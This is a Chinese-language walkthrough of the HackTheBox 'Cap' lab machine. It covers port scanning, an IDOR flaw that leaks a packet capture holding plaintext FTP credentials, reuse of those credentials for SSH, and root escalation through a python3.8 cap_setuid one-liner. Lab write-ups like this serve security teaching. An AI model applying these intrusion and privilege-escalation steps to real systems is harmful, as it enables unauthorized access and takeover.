一 信息收集
端口扫描
nmap -sC -sV 10.129.14.251
80 端口测试
访问 80 端口处于认证后的页面,登录用户为 Nathon;web 应用程序中发现 4 个功能点。Dashboard、IP Config、Security Snopshot、Network Status
1.Dashboard 页面是一个仪表盘,除数据展示外没有其他利用点
2.Security Snopshot,页面返回数据包个数及类型,并且通过 URL 发现,在/data/number,number不同时,响应包会发生变化,并且流量包是可以 Download
3.IP Config页面返回 IP 地址
4.Network Status 类似于执行 netstat命令
二 IDOR
IDOR漏洞全称为Insecure Direct Object Reference(不安全的直接对象引用),是一种越权漏洞,主要发生在应用程序的访问控制逻辑中。其原理是攻击者通过篡改对象的标识符,绕过权限验证,访问到不应该被其访问的资源。
在/data/number中,number不同时,响应包会发生变化,针对 Security Snopshot 页面进行测试,在访问 /data/0
时,响应出现大量数据包,下载数据包,并访问
使用 wireshark 观察数据包,发现FTP 协议的请求包存在明文的用户名和密码 nathan:Buck3tH4TF0RM3!
,可以进行 FTP 登录
密码复用
在成功登录 FTP 后,尝试是否可以进行 SSH 登录,如果系统存在账号密码复用的情况,那我们就可以使用 FTP 账号密码成功连接到 SSH
(base) gryphon@wsdl HTB %ssh nathan@10.129.14.251
nathan@10.129.14.251's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Aug 24 09:04:33 UTC 2024
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
nathan@cap:~$
三 权限提升
本地开启 Httpserver 服务,上传 linpeas.sh 文件到服务器,并赋予执行权限,进行信息收集
chmod +x linpeas.sh
./linpeas.sh
响应中发现 /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
参数说明:
• setcap: 设置文件的 Linux 能力。
• cap_setuid: 允许改变用户 ID 的能力。
• cap_net_bind_service: 允许绑定到小于1024的特权端口。
• +eip:
• e: 有效(Effective),即能力被进程有效地使用。
• i: 继承(Inherited),即该能力能被子进程继承。
• p: 允许(Permitted),即该能力可以被进程启用。
效果:
这条命令将使 /usr/bin/python3.8 具有以下能力:
1. cap_setuid: 允许 Python 进程更改其用户 ID,这意味着可以在脚本中更改进程的权限。
2. cap_net_bind_service: 允许 Python 绑定到小于1024的端口(例如,HTTP 80端口或HTTPS 443端口),通常这些端口只能由 root 用户绑定。
如果二进制文件具有 Linux CAP_SETUID功能集或者由具有该功能集的另一个二进制文件执行,则可以将其用作后门,通过操纵其自己的进程 UID 来维持特权访问。
那如果 /usr/bin/python3.8 具有 root 权限,就可以通过设置 cap_setuid=0(uid=0 为 root 权限) 获取到 root 权限
查看 python 的权限为 root 权限,那就可以直接通过以下命令设置 uid=0 获取 root 权限
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'